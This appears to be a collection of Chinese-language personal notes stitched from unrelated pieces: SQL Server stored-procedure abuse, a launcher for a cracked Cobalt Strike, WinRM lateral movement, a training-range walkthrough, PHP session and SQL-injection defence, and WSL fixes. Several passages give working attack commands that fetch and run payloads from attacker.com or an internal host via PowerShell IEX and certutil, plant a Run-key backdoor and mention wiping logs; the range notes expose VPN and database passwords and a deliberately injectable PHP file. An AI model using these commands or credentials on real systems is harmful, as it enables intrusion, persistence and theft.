在安装向导界面按下 [fn +] shift + F10 打开命令行窗口。
如果电脑打开了 fn 功能键的话，需要同时按下 fn 按键。
在命令窗口输入命令：

oobe\bypassnro.cmd
或
oobe\bypassnro
或
oobe\BypassNRO.cmd
或
OOBE\BYPASSNRO.cmd
或
OOBE\BYPASSNRO

然后回车确认。
之后系统会自动重启。
再次进入到安装向导时，联网界面下方左边会多了一个跳过的按钮 [我没有 Internet 连接]。

在渗透测试中，利用 SQL Server 的存储过程如 xp_cmdshell、sp_OACreate 和 xp_regwrite 可以帮助测试数据库的安全配置和权限控制。以下是它们在常见渗透测试场景中的具体应用：


---

1. xp_cmdshell

场景：远程命令执行
渗透测试中，xp_cmdshell 可以用来在数据库服务器上执行系统命令，从而获取权限或进行横向移动。

利用示例：

枚举系统信息：

EXEC xp_cmdshell 'systeminfo';
EXEC xp_cmdshell 'whoami';

下载恶意工具或脚本：

EXEC xp_cmdshell 'powershell -Command "Invoke-WebRequest -Uri http://attacker.com/malware.exe -OutFile C:\malware.exe"';

启动后门工具：

EXEC xp_cmdshell 'C:\malware.exe';

文件操作（读取敏感文件）：

EXEC xp_cmdshell 'type C:\Sensitive\passwords.txt';


渗透目的：

验证数据库用户是否具有操作系统级别的权限。

检查数据库服务器是否存在对危险命令的滥用。



---

2. sp_OACreate

场景：文件系统操作与代码执行
sp_OACreate 是一种强大的工具，允许 SQL Server 通过 COM 对象调用操作系统功能。渗透测试中可用于文件操作、恶意脚本执行等。

利用示例：

创建文件并写入内容：

DECLARE @Object int;
EXEC sp_OACreate 'Scripting.FileSystemObject', @Object OUT;
EXEC sp_OAMethod @Object, 'CreateTextFile', NULL, 'C:\test.txt', True;
EXEC sp_OAMethod @Object, 'WriteLine', NULL, 'This is a test.';
EXEC sp_OADestroy @Object;

执行恶意脚本：

DECLARE @Object int;
EXEC sp_OACreate 'WScript.Shell', @Object OUT;
EXEC sp_OAMethod @Object, 'Run', NULL, 'powershell.exe -c "IEX (New-Object Net.WebClient).DownloadString(''http://attacker.com/shell.ps1'')"';
EXEC sp_OADestroy @Object;

读取远程资源： 使用 COM 对象访问网络共享或 URL，从目标服务器读取数据。


渗透目的：

评估数据库服务器是否允许 COM 对象调用。

检查是否存在危险配置导致的文件或脚本执行风险。



---

3. xp_regwrite

场景：注册表持久化与后门设置
xp_regwrite 可用于修改 Windows 注册表，以实现权限维持或改变系统行为。

利用示例：

开启远程桌面（更改注册表值）：

EXEC xp_regwrite 'HKEY_LOCAL_MACHINE', 'SYSTEM\CurrentControlSet\Control\Terminal Server', 'fDenyTSConnections', 'REG_DWORD', 0;

配合以下命令启动远程桌面服务：

EXEC xp_cmdshell 'net start TermService';

添加启动项后门：

EXEC xp_regwrite 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\Windows\CurrentVersion\Run', 'MaliciousBackdoor', 'REG_SZ', 'C:\malware.exe';


渗透目的：

检查数据库是否具有修改系统关键注册表的能力。

模拟攻击者对注册表的滥用，评估系统的持久化风险。



---

渗透测试常用思路

1. 探测功能是否启用：

默认情况下，xp_cmdshell 和 sp_OACreate 是禁用的。通过尝试调用或查看配置检测这些功能是否被错误启用。


EXEC sp_configure 'xp_cmdshell';
EXEC sp_configure 'Ole Automation Procedures';


2. 提权与横向移动：

使用 xp_cmdshell 枚举本地用户、抓取凭据。

执行网络命令（如 net use、wmic）访问其他机器。



3. 权限验证：

测试当前数据库用户是否有足够权限使用这些存储过程。


SELECT IS_SRVROLEMEMBER('sysadmin');


4. 记录日志清理：

攻击后通过删除 SQL 日志、Windows 日志等掩盖踪迹。





---

防御建议

1. 禁用不必要的存储过程：

EXEC sp_configure 'xp_cmdshell', 0;
EXEC sp_configure 'Ole Automation Procedures', 0;


2. 实施最小权限原则，限制数据库用户权限。


3. 使用防火墙和网络分段隔离数据库服务器。


4. 监控日志，及时检测异常行为。



这些场景仅适用于合法授权的渗透测试，切勿用于非法活动！

Attacker

Attacker - The Domain Name Attacker.com is Now For Sale.

Attacker.com is now for sale, lease or rent. Smart domain names compound conversion rates and this domain name for Attacker marketing is a wise investment.

@echo off
setlocal enabledelayedexpansion

:: 初始化变量
set /a count=0
set ipList=

:: 获取所有网卡的 IP 地址并保存到变量中
for /f "tokens=2 delims=:" %%i in ('ipconfig ^| findstr "IPv4"') do (
for /f "delims=" %%j in ("%%i") do (
set /a count+=1
set ipList[!count!]=%%j
echo !count!. %%j
)
)

:: 如果没有找到 IP 地址，退出
if %count% equ 0 (
echo No IP addresses found.
pause
exit /b
)

:: 提示用户选择 IP 地址
echo ====================================
set /p choice=Select an IP address by number (1-%count%) [default 1]:

:: 如果用户没有输入，默认选择第一个 IP
if "%choice%"=="" set choice=1

:: 验证输入是否有效
if %choice% leq %count% if %choice% geq 1 (
set selectedIP=!ipList[%choice%]!
echo You selected: !selectedIP!
) else (
echo Invalid selection. Please run the script again.
pause
exit /b
)

:: 启动 Cobalt Strike 服务器并在后台运行
echo [+] Starting Cobalt Strike server...
start /B wsl -u root -- bash -c "cd /mnt/d/CobaltSrike_4.9.1_Cracked/Server && ./teamserver !selectedIP! password"
echo [+] Cobalt Strike server started.

:: 等待一段时间（例如 10 秒）确保服务器已启动
timeout /t 10 >nul

echo [+] Starting Cobalt Strike client...

:: 启动 Cobalt Strike 客户端
cd /d D:\CobaltSrike_4.9.1_Cracked\Client
start /B java -Dfile.encoding=utf-8 -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC -javaagent:uHook.jar -Xms512M -Xmx1024M -jar cobaltstrike-client.jar

:: 等待用户输入以保持窗口打开
pause

在内网渗透中，利用WinRM（Windows Remote Management）进行横向移动（横移）是一种常见的方法。以下是如何使用WinRM进行横移的步骤和注意事项：

启用和配置WinRM
在目标机器上启用WinRM服务：
在Windows Server 2012及以后的系统中，WinRM服务通常是默认启用的，但在较早的系统中可能需要手动启动。
可以通过命令winrm quickconfig -q来快速配置WinRM服务，这会自动为WinRM开启防火墙例外规则。
配置信任主机（TrustedHosts）：
为了让任意主机能够连接到WinRM服务，可以使用以下命令设置信任所有主机：
winrm set winrm/config/Client @{TrustedHosts="*"}
如果只信任特定的IP，可以替换*为具体IP。

执行横向移动
使用WinRS进行远程命令执行：
WinRS（Windows Remote Shell）是WinRM的一个命令行工具，用于在远程机器上执行命令。基本语法如下：
winrs -r:http://<目标IP>:5985 -u:<用户名> -p:<密码> <命令>
例如，执行ipconfig命令：
winrs -r:http://192.168.1.100:5985 -u:Administrator -p:password ipconfig
使用WinRM命令执行操作：
WinRM命令行工具可以用来直接调用WMI类方法。例如，创建一个新的进程：
winrm invoke create wmicimv2/win32_process -SkipCAcheck -skipCNcheck @{commandline="notepad.exe"} -r:http://192.168.1.100:5985 -u:Administrator -p:password

注意事项
安全性：确保只有信任的机器能够连接到WinRM服务，避免设置过于宽泛的信任列表。
身份验证：WinRM支持Kerberos、NTLM和基本认证。默认情况下使用Kerberos或NTLM，确保提供的凭据具有适当的权限。
端口：默认的WinRM HTTP端口是5985，HTTPS端口是5986。确保防火墙允许这些端口的通信。
隐蔽性：WinRM通信可以使用AES加密，提高了操作的隐蔽性，但要注意日志记录，特别是在域环境中。

工具和资源
除了原生的WinRM和WinRS命令工具，还有第三方工具如Evil-WinRM，可以提供更丰富的功能，支持通过PowerShell远程执行命令，提高操作的便捷性。



记住，任何横向移动行为在未经授权的情况下都是非法的，仅应在合法的渗透测试或安全演练中进行。

在内网渗透中，理解端口映射（Port Mapping）和端口转发（Port Forwarding）的区别至关重要，因为它们都是常用的技术，但用于不同的目的且有不同的实现方式。

端口映射（Port Mapping）
定义：
端口映射通常是指在网络设备（如路由器或防火墙）上将一个外部IP地址的特定端口映射到内部网络的一个设备上的特定端口。它让外部网络可以访问内部网络中的特定服务。

特点：
双向通信：映射的端口允许双向通信，即外部设备可以初始化连接到内部设备，内部设备也可以通过相同端口回传数据。
NAT转换：这是NAT（网络地址转换）的一种形式，通常用于家庭网络或小型企业网络中，使得位于NAT后面的设备可以被外部网络访问。

内网渗透中的应用：
用于暴露内部服务到外部网络，允许攻击者从外网访问内网的特定服务，比如Web服务器。
可以用来绕过网络隔离，访问原本不可见的内部设备。

端口转发（Port Forwarding）
定义：
端口转发指的是将一个网络设备上的某个端口的流量重定向到另一个网络设备上的不同端口或同一个设备的另一个端口。它可以是单向的或双向的，具体取决于配置。

特点：
单向或双向：虽然可以配置为双向，但通常用于单向通信，即将请求从一个端口转发到另一个端口或设备。
灵活性：可以将不同端口的流量重定向到不同服务，这在复杂的网络环境中非常有用。

内网渗透中的应用：
用于内部网络的横向移动，将一个受控主机上的服务端口转发到另一个主机，从而绕过网络分段或访问控制。
可以用来隐藏真实攻击源，因为攻击流量看起来像是来自转发端口的设备。

关键区别
目的：端口映射通常是为了让外部访问内部服务，而端口转发更多用于内部网络内的流量重定向。
方向性：端口映射通常是双向的，确保外部可以访问内部的同时，内部可以响应。端口转发可以是单向或双向，具体取决于需求。
复杂性：端口映射通常在NAT设备上进行配置，相对简单。端口转发可能需要更细致的配置，尤其是在复杂网络环境中。

在内网渗透中，这两个技术都可能被滥用来绕过安全控制措施或隐藏攻击活动。了解这些技术如何工作、如何配置，以及如何检测它们对于网络安全防御至关重要。

以下是一个使用 PHP 和 MySQL 实现的安全用户认证和权限管理的示例，包括修复修改 cookie 中 is_admin 值的漏洞。


---

完整实现流程

1. 数据库设计

一个简单的用户表（users）和会话表（sessions）：

CREATE TABLE users (
id INT AUTO_INCREMENT PRIMARY KEY,
username VARCHAR(50) NOT NULL UNIQUE,
password_hash VARCHAR(255) NOT NULL,
is_admin BOOLEAN NOT NULL DEFAULT 0
);

CREATE TABLE sessions (
id CHAR(64) PRIMARY KEY, -- 会话 ID
user_id INT NOT NULL,
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
FOREIGN KEY (user_id) REFERENCES users(id)
);

users 表存储用户信息，包括是否管理员 (is_admin)。

sessions 表存储会话信息，使用随机生成的 session_id 关联用户。



---

2. 用户登录逻辑

<?php
session_start();
include 'db.php'; // 数据库连接文件

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$username = $_POST['username'];
$password = $_POST['password'];

// 查询用户
$stmt = $db->prepare("SELECT id, password_hash, is_admin FROM users WHERE username = ?");
$stmt->bind_param("s", $username);
$stmt->execute();
$result = $stmt->get_result();
$user = $result->fetch_assoc();

if ($user && password_verify($password, $user['password_hash'])) {
// 登录成功，生成会话
$session_id = bin2hex(random_bytes(32)); // 生成随机会话 ID
$stmt = $db->prepare("INSERT INTO sessions (id, user_id) VALUES (?, ?)");
$stmt->bind_param("si", $session_id, $user['id']);
$stmt->execute();

// 设置安全的 cookie
setcookie('session_id', $session_id, [
'httponly' => true,
'secure' => true,
'samesite' => 'Strict'
]);

echo "Login successful!";
} else {
echo "Invalid username or password.";
}
}
?>


---

3. 后台访问逻辑

<?php
session_start();
include 'db.php'; // 数据库连接文件

if (!isset($_COOKIE['session_id'])) {
die("Unauthorized access.");
}

$session_id = $_COOKIE['session_id'];

// 验证会话并获取用户信息
$stmt = $db->prepare("
SELECT u.id, u.username, u.is_admin
FROM sessions s
JOIN users u ON s.user_id = u.id
WHERE s.id = ?
");
$stmt->bind_param("s", $session_id);
$stmt->execute();
$result = $stmt->get_result();
$user = $result->fetch_assoc();

if (!$user) {
die("Invalid session.");
}

if (!$user['is_admin']) {
die("Forbidden: You don't have permission to access this page.");
}

// 如果通过验证，显示后台内容
echo "Welcome to the admin dashboard, " . htmlspecialchars($user['username']) . "!";
?>


---

4. 登出逻辑

<?php
session_start();
include 'db.php'; // 数据库连接文件

if (isset($_COOKIE['session_id'])) {
$session_id = $_COOKIE['session_id'];

// 删除会话记录
$stmt = $db->prepare("DELETE FROM sessions WHERE id = ?");
$stmt->bind_param("s", $session_id);
$stmt->execute();

// 清除 cookie
setcookie('session_id', '', time() - 3600, '/');
}

echo "Logged out successfully.";
?>


---

关键点说明

1. 会话管理：

会话 ID (session_id) 是随机生成的，攻击者无法轻易猜测。

会话信息保存在服务端数据库中，不依赖客户端数据。



2. 权限校验：

后端根据 session_id 查询用户权限 (is_admin)，而非直接信任客户端传递的 is_admin 值。



3. 密码存储：

使用 password_hash() 和 password_verify() 安全地处理密码。



4. Cookie 安全性：

设置 HttpOnly 和 Secure 标志，防止 XSS 和中间人攻击。

SameSite=Strict 防止 CSRF 攻击。



5. 输入验证：

使用 prepared statements 防止 SQL 注入。

避免直接输出用户输入内容，使用 htmlspecialchars() 进行输出过滤。





---

运行逻辑示例

1. 用户登录：

用户提供用户名和密码。

系统验证密码并生成安全的 session_id。

session_id 存储在服务端数据库，并通过 cookie 传递给客户端。



2. 后台访问：

用户发起请求时，系统验证 session_id 的合法性。

根据数据库中用户的 is_admin 字段判断权限。



3. 权限不足：

如果用户 is_admin 为 0，拒绝访问后台。





---

总结

通过以上方式修复漏洞，可以确保即使攻击者篡改 cookie，也无法获得管理员权限，因为权限验证完全在后端进行，依赖于服务端的安全存储和验证逻辑。

在 PHP 中，除了使用数据库存储会话的方式（自定义 sessions 表），还可以使用服务端内置的 $_SESSION 机制进行会话管理和鉴权。这种方式更简单，数据存储在服务端的文件或内存中，不需要单独的数据库表。以下是完整的实现：


---

1. 服务端 $_SESSION 机制简介

PHP 自带的 $_SESSION 机制使用 PHPSESSID 作为会话标识，通过 cookie 传递到客户端。

会话数据存储在服务器端，可以存放用户信息、权限等敏感数据。

默认存储在服务器的文件中，但也可以通过 session_set_save_handler() 定制存储方式（如内存、Redis）。



---

2. 数据库设计

仍然需要一个用户表来存储用户信息：

CREATE TABLE users (
id INT AUTO_INCREMENT PRIMARY KEY,
username VARCHAR(50) NOT NULL UNIQUE,
password_hash VARCHAR(255) NOT NULL,
is_admin BOOLEAN NOT NULL DEFAULT 0
);


---

3. 用户登录逻辑

<?php
session_start();
include 'db.php'; // 数据库连接文件

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$username = $_POST['username'];
$password = $_POST['password'];

// 查询用户
$stmt = $db->prepare("SELECT id, password_hash, is_admin FROM users WHERE username = ?");
$stmt->bind_param("s", $username);
$stmt->execute();
$result = $stmt->get_result();
$user = $result->fetch_assoc();

if ($user && password_verify($password, $user['password_hash'])) {
// 登录成功，将用户信息存储到 $_SESSION
$_SESSION['user_id'] = $user['id'];
$_SESSION['username'] = $username;
$_SESSION['is_admin'] = $user['is_admin'];

echo "Login successful!";
} else {
echo "Invalid username or password.";
}
}
?>

核心操作：将用户信息（user_id、is_admin）存储到 $_SESSION，服务端自动管理会话文件。

安全性：客户端只存储会话标识符 (PHPSESSID)，而实际的用户数据存储在服务器端，无法被篡改。



---

4. 后台访问逻辑

<?php
session_start();

if (!isset($_SESSION['user_id'])) {
die("Unauthorized access. Please log in.");
}

if (!$_SESSION['is_admin']) {
die("Forbidden: You don't have permission to access this page.");
}

// 如果通过验证，显示后台内容
echo "Welcome to the admin dashboard, " . htmlspecialchars($_SESSION['username']) . "!";
?>

逻辑：在每次访问后台页面时，检查 $_SESSION 是否存在有效的 user_id 和管理员权限。

安全性：会话数据存储在服务端，即使攻击者修改客户端 cookie，也无法伪造会话内容。



---

5. 用户登出逻辑

<?php
session_start();

// 清除会话数据
$_SESSION = []; // 清空会话数据
session_destroy(); // 销毁会话文件

echo "Logged out successfully.";
?>


---

6. 服务端会话配置优化

PHP 默认使用文件存储会话，可以通过修改配置或代码优化会话安全性：

推荐的 PHP 配置

在 php.ini 中进行以下配置：

session.cookie_httponly = 1 ; 防止 JS 访问 session cookie，防御 XSS
session.cookie_secure = 1 ; 仅允许 HTTPS 传输 session cookie
session.use_strict_mode = 1 ; 防止会话劫持，确保会话 ID 随机生成
session.use_only_cookies = 1 ; 禁止通过 URL 传递会话 ID
session.cookie_samesite = Strict ; 防御 CSRF 攻击

代码中的会话配置

在会话启动前，可以通过代码增强会话的安全性：

<?php
session_start([
'cookie_lifetime' => 0, // 会话关闭时失效
'cookie_secure' => true, // 仅在 HTTPS 下传输
'cookie_httponly' => true, // 防止 JavaScript 访问
'cookie_samesite' => 'Strict', // 限制跨站请求
'use_strict_mode' => true // 防止会话固定攻击
]);
?>


---

7. 会话固定攻击防御

为了防止攻击者利用旧的会话 ID 劫持用户，可以在用户登录后重新生成会话 ID：

<?php
session_start();

// 用户登录成功后重新生成会话 ID
session_regenerate_id(true);
?>


---

8. 后台访问流程示例

登录后客户端行为：

1. 客户端的浏览器会存储 PHPSESSID（如 PHPSESSID=abcdef123456;）。


2. 客户端请求时自动携带 PHPSESSID 到服务器。



服务端行为：

1. 服务端读取 PHPSESSID 对应的会话文件（如 /tmp/sess_abcdef123456）。


2. 验证会话中存储的用户信息和权限。


3. 如果会话合法且用户权限足够，允许访问后台。




---

总结

服务端 $_SESSION 方式的优缺点：

优点：

1. 简单易用，直接使用 PHP 内置机制，无需额外开发会话存储。


2. 安全性高，所有敏感数据存储在服务端，不依赖客户端。


3. 配置灵活，可以结合文件、内存（如 Redis）、数据库等存储机制。



缺点：

1. 默认文件存储可能在高并发时性能较低，需优化存储方案。


2. 跨服务器部署（如负载均衡）需要额外配置共享会话存储。




对于小型或中型项目，$_SESSION 是一种高效、简单且安全的解决方案。如果需要支持分布式部署，可以将会话存储改为 Redis 或 Memcached，以提升扩展性。

防止 SQL 注入攻击需要多方面的安全实践，以下是总结的防御策略：


---

1. 使用参数化查询或预编译语句

核心原则：将用户输入与 SQL 查询分隔，避免直接将用户输入拼接到查询中。

实现方式：

在 PHP 中使用 PDO 或 mysqli：

$stmt = $pdo->prepare("SELECT * FROM users WHERE username = :username");
$stmt->execute(['username' => $username]);

在 Java 中使用 PreparedStatement：

PreparedStatement stmt = connection.prepareStatement("SELECT * FROM users WHERE username = ?");
stmt.setString(1, username);
ResultSet rs = stmt.executeQuery();


优点：避免了输入内容被直接当作 SQL 代码解析的可能性，是防御 SQL 注入的首选方法。



---

2. 输入验证与清理

验证规则：

字符限制：限制只能接受数字、字母或预期的字符集。

数据类型验证：确保输入符合预期的类型（如数字、日期等）。


清理输入：

转义特殊字符（仅适用于无法使用参数化查询的情况）。

示例（PHP）：

$safe_input = mysqli_real_escape_string($connection, $user_input);


注意：输入验证是增强防御的一部分，但不能替代参数化查询。



---

3. 遵循最小权限原则

原理：限制数据库用户的权限，确保攻击者无法在注入后执行高权限操作。

具体做法：

数据库账户只授予必要的权限（如只读账户无法执行 INSERT、DELETE）。

避免使用数据库管理员（DBA）或 root 用户执行应用任务。


示例：

创建一个仅有 SELECT 权限的用户：

GRANT SELECT ON database.table TO 'readonly_user'@'localhost';




---

4. 利用存储过程

原理：通过预定义的存储过程封装数据库逻辑，限制动态 SQL 的执行。

优势：

存储过程避免直接拼接 SQL 字符串。

提供更强的访问控制。


示例（MySQL）：

CREATE PROCEDURE GetUser(IN username VARCHAR(50))
BEGIN
SELECT * FROM users WHERE username = username;
END;

在应用中调用：

$stmt = $pdo->prepare("CALL GetUser(:username)");
$stmt->execute(['username' => $username]);



---

5. 实施输入白名单机制

定义：明确指定允许的输入格式，拒绝所有非预期输入。

实现方式：

使用正则表达式验证：

if (!preg_match('/^[a-zA-Z0-9_]+$/', $username)) {
die("Invalid input");
}

列举允许值（如下拉菜单、固定选项）。


优点：确保应用仅接受安全的输入，防止意外或恶意数据进入。



---

6. 其他重要措施

数据库错误信息隐藏：

禁止向用户暴露详细的 SQL 错误信息。

在生产环境中关闭调试模式。

示例（PHP）：

ini_set('display_errors', 0);


使用 Web 应用防火墙 (WAF)：

部署 WAF（如 ModSecurity）以实时检测和拦截 SQL 注入攻击。


加密敏感数据：

即使数据库泄露，也无法直接使用存储的敏感信息。

使用强加密算法存储用户数据，如密码：

$hashed_password = password_hash($password, PASSWORD_BCRYPT);




---

总结

SQL 注入防护不是单一技术，而是多种方法的结合。以下是核心策略优先级：

1. 首选：参数化查询或预编译语句。


2. 加强：输入验证、白名单机制和最小权限原则。


3. 补充：使用存储过程和隐藏错误信息。



综合运用这些策略，可以大大降低 SQL 注入攻击的风险，保护系统安全。

# WSL 升级失败的进一步解决方法

针对 Windows 10（版本 19045.4291）中 wsl --update 报错 1603 和注册表权限问题，建议按照以下步骤排查并解决：

---

### 1. 检查系统环境
确保你的系统满足以下要求：
- Windows 10 更新状态**：确保你的版本（19045.4291）已安装最新的累积更新。
- 打开「设置」→「更新和安全」→「检查更新」。
- **启用 WSL 相关功能**：
运行以下命令，检查是否已启用：
```bash
dism.exe /online /enable-feature /featurename:Microsoft-Windows-Subsystem-Linux /all /norestart
dism.exe /online /enable-feature /featurename:VirtualMachinePlatform /all /norestart
```

**重启后再尝试升级**。

---

### 2. 强制重新注册 WSL 服务
重新注册 WSL 可能解决注册表相关问题：

1. 打开 **PowerShell（管理员权限）**。
2. 停止 WSL 服务：
```bash
net stop LxssManager
```
3. 删除注册表项（需谨慎操作）：
- 打开注册表编辑器 (`regedit`)。
- 导航到以下路径：
```
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Directory\shell\WSL
```
- 删除 `WSL` 子项。

4. 重启服务并重新注册：
```bash
net start LxssManager
wsl --install
```

---

### 3. 使用 Microsoft Store 安装 WSL
从 Microsoft Store 安装新版 WSL 可以绕过注册表问题：

1. 打开 Microsoft Store。
2. 搜索并下载 [**Windows Subsystem for Linux](https://apps.microsoft.com/store/detail/windows-subsystem-for-linux/9P9TQF7MRM4R)。
3. 安装完成后运行以下命令验证：

   wsl --version
   

---

### 4. 卸载旧版 WSL 并重新安装
可能系统残留了旧版本 WSL，导致升级失败。

1. 卸载旧版 WSL**：
- 打开 PowerShell（管理员权限），运行：
```bash
dism.exe /online /disable-feature /featurename:Microsoft-Windows-Subsystem-Linux /norestart
dism.exe /online /disable-feature /featurename:VirtualMachinePlatform /norestart
```
- 删除旧的 `wsl.exe` 和子目录：
```bash
del /q /f %windir%\System32\wsl.exe
```

2. **重新安装 WSL**：
- 重新启用 WSL：
```bash
dism.exe /online /enable-feature /featurename:Microsoft-Windows-Subsystem-Linux /all /norestart
dism.exe /online /enable-feature /featurename:VirtualMachinePlatform /all /norestart
wsl --install
```

---

### 5. 检查 MSI 安装包问题
某些情况下，错误可能来自 MSI 安装过程。

1. 下载最新的 WSL 更新包：[WSL GitHub Releases](https://github.com/microsoft/WSL/releases)。
2. 以管理员身份直接运行安装程序。
3. 如果问题依然存在，运行以下命令生成日志以排查：
```bash
msiexec /i <安装包路径> /l*v wsl_install.log
```

---

### 6. 使用 `Windows Event Viewer` 查看详细错误
打开 **事件查看器 检查系统日志中的相关错误信息：
1. 按 `Win + R`，输入 `eventvwr.msc`。
2. 导航到「Windows 日志」→「应用程序」。
3. 查看与 MSI 安装或 WSL 升级相关的错误条目，并根据提示解决。

---

### 总结
如果经过上述操作仍无法解决，建议执行以下步骤以避免注册表问题：
1. 从 Microsoft Store 安装最新 WSL。
2. 手动删除 `HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Directory\shell\WSL` 项。
3. 确保 Windows 更新已应用所有补丁。

如有更多错误日志，可提供详细信息进一步分析。

#wsl #windows10 #错误代码1603 #注册表权限

Microsoft Store - Download apps, games & more for your Windows PC

Windows Subsystem for Linux - Microsoft Apps

Windows Subsystem for Linux (WSL) lets developers run a GNU/Linux environment -- including most command-line tools, utilities, and applications -- directly on Windows, unmodified, without the overhead of a traditional virtual machine or dual boot setup. …

# Windows 下使用 MDUT
MDUT - 多数据库利用工具

https://github.com/SafeGroceryStore/MDUT

https://github.com/DeEpinGh0st/MDUT-Extend-Release

scoop install oraclejdk8
curl -o MDUT-Extend-1.1.0.zip https://github.com/DeEpinGh0st/MDUT-Extend-Release/releases/download/v1.1.0/MDUT-Extend-1.1.0.zip
curl -o MDUT-Extend-1.1.0.zip https://github.com/DeEpinGh0st/MDUT-Extend-Release/releases/download/v1.1.0/MDUT-Extend-1.1.0.zip
java.exe -jar MDUT.jar 
java.exe -jar MDUT-Extend.jar

#MDUT #多数据库利用工具 #OracleJDK8 #Scoop安装 #GitHub #Windows下使用MDUT #curl下载 #Java工具 #MDUT扩展版 #数据库测试

GitHub

GitHub - SafeGroceryStore/MDUT: MDUT - Multiple Database Utilization Tools

MDUT - Multiple Database Utilization Tools. Contribute to SafeGroceryStore/MDUT development by creating an account on GitHub.

# pst：2024年12月2日

反弹IP

# vpn

1. Cisco AnyConnect Secure Mobility Client
101.37.160.193:62443
2. 场景测试/mxl49dm9
3. 场景测试二/f40sbwfd 1
4. 场景测试三/6bmc0cvm


2. OpenConnect-GUI VPN client
https://192.168.197.110:10034
1. student/Student@User~69 1
2. studentN/1qaz@WSX4
3. studentM/1qaz@WSX33

# 靶机

C:/phpstudy_pro/WWW/juece/login/login.php

<?php  
session_start(); // 始终开始会话  
  
// 数据库配置  
$host = '127.0.0.1';  
$dbname = 'security';  
$username = 'root';  
$password = 'yancaokaoshi123#';  
  
try {  
    $pdo = new PDO("mysql:host=$host;dbname=$dbname", $username, $password);  
    // 设置 PDO 错误模式为异常  
    $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);  
  
    // 获取输入的用户名和密码  
    $userid = isset($_POST['userid']) ? $_POST['userid'] : '';  
    $password = isset($_POST['password']) ? $_POST['password'] : '';  
    // 假设密码已经过哈希处理  
    $stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?");  
    $stmt->execute([$userid, hash('md5', $password)]); // 假设存储时使用了sha256哈希  
  
    if ($row = $stmt->fetch(PDO::FETCH_ASSOC)) {  
        // 登录成功  
        // 设置cookie  
    $token = bin2hex(random_bytes(32));
    $token_expiration = time() + 86400;
    $stmt = $pdo->prepare("INSERT INTO user_tokens ( token, expiration) VALUES ( ?, ?)");
    $stmt->execute([ $token, $token_expiration]);
    setcookie("user_token", $token, $token_expiration);

        // 重定向到新的URL  
    sleep(10);
        header("Location: /juece/login/index.php");  
        exit;  
    } else {  
        // 登录失败  
    #echo hash('md5', $password);
        echo "用户名或密码错误";  
    }  
} catch(PDOException $e) {  
    echo "数据库连接失败: " . $e->getMessage();  
}  
?>

C:/phpstudy_pro/WWW/juece/login/sql.php

<?php  
// 数据库连接参数  
$servername = "localhost";  
$username = "root";  
$password = "yancaokaoshi123#";  
$dbname = "security";  
header('content-type:text/css;charset=gbk');
// 创建连接  
$conn = new mysqli($servername, $username, $password, $dbname);  
  
// 检查连接是否成功  
if ($conn->connect_error) {  
    die("连接失败: " . $conn->connect_error);  
}  
  
// 从GET参数中获取username，并且没有做任何过滤或转义（这是非常危险的！）  
$id = isset($_POST['username']) ? $_POST['username'] : '';  
  
// 构造SQL查询（这里非常危险，因为它容易受到SQL注入攻击）  
$sql = "SELECT * FROM users WHERE id = '$id'"; // 假设你有一个名为users的表，并且它有一个名为id的列  
#echo $sql;
// 执行查询  
$result = $conn->query($sql);  
  
if ($result->num_rows > 0) {  
    // 输出数据  
    while($row = $result->fetch_assoc()) {  
        #echo "ID: " . $row["id"]. " - Name: " . $row["username"]; // 假设你的表有name列  
    }  
} else {  
    echo "没有找到与给定ID匹配的结果";  
}  
  
// 关闭连接  
$conn->close();  
?>

1. http://192.168.100.2:8082/

[phpinfo](http://192.168.100.2:8082/juece/info.php) 收集绝对路径`C:/phpstudy_pro/WWW`，前端弱口令，拿到1个`flag`，

查询sqlmap-post注入、数据库users表1个`flag`，拿到shell、

目录`C:/phpstudy_pro/flag.txt`1个`flag`，收集MySQL数据库配置，

上线CS（可选），搭建frp/ew代理，fscan 探测内网

192.168.1.2 内网

   fscan.exe -h 192.168.1.0/24 -o fscan-192.168.1.0.txt
   

172.29.255.253 对应反弹IP 192.168.100.243



2. mssql 数据库
使用 MySQL收集的信息连接，数据库1个flag
利用 xp_cmdshell 提权 mimikatz

EXEC xp_cmdshell 'certutil -urlcache -split -f http://192.168.80.178/beacon_x64.exe C:\Windows\Temp\beacon_x64.exe';

上线CS（可选）

WSL 网络模式：None、Nat、Mirrored、VirtioProxy

# 漏洞加固报告

## 1. 漏洞点名称
SQL 注入漏洞
此漏洞属于**SQL 注入类型漏洞**，关键特征包括：
- 用户输入直接拼接到 SQL 查询语句中，缺乏参数化处理。
- 攻击者可通过构造恶意输入绕过认证逻辑或执行恶意查询。

---

## 2. 漏洞代码

if (isset($_POST['login'])) {
    $uname = str_replace('\'', '', urldecode($_POST['un']));
    $pass = str_replace('\'', '', urldecode($_POST['ps']));
    $run = 'select * from auth where pass=\'' . $pass . '\' and uname=\'' . $uname . '\'';
    $result = mysqli_query($conn, $run);
    if (mysqli_num_rows($result) > 0) {
        $row = mysqli_fetch_assoc($result);
        echo "You are allowed<br>";
        $_SESSION['logged'] = true;
        $_SESSION['admin'] = $row['username'];
        header('Location:panel.php', true, 302);
    } else {
        echo "<script>alert('Try again');</script>";
    }
}

---

## 3. 漏洞产生的危害
1. SQL 注入的威胁**：
- 攻击者可通过构造恶意输入绕过认证机制，例如使用 `' OR '1'='1`。
- 攻击者可能读取、修改或删除数据库中的敏感数据。

2. **潜在风险**：
- 数据库被完全控制，可能导致数据泄露或篡改。
- 攻击者可能通过数据库权限进一步攻击服务器或网络。

3. **业务影响**：
- 用户账户信息泄露或被篡改。
- 整体系统的可用性和完整性受到威胁。

---

## 4. 漏洞产生的原因以及修复思路

### 漏洞产生的原因
1. 用户输入未经过安全处理，直接拼接到 SQL 查询语句中。
2. 缺乏参数化查询或预处理机制来防止注入。

### 修复思路
1. **使用参数化查询**：
- 通过 `mysqli` 或 `PDO` 的预处理语句绑定用户输入，避免拼接查询语句。

2. **输入过滤与输出编码**：
- 使用过滤函数清理输入，例如 `filter_var`。
- 对输出使用适当的转义，防止其他漏洞（如 XSS）。

3. **强化用户认证逻辑**：
- 添加密码哈希存储机制（例如 `password_hash` 和 `password_verify`）。
- 限制失败登录尝试，防止暴力破解。

---

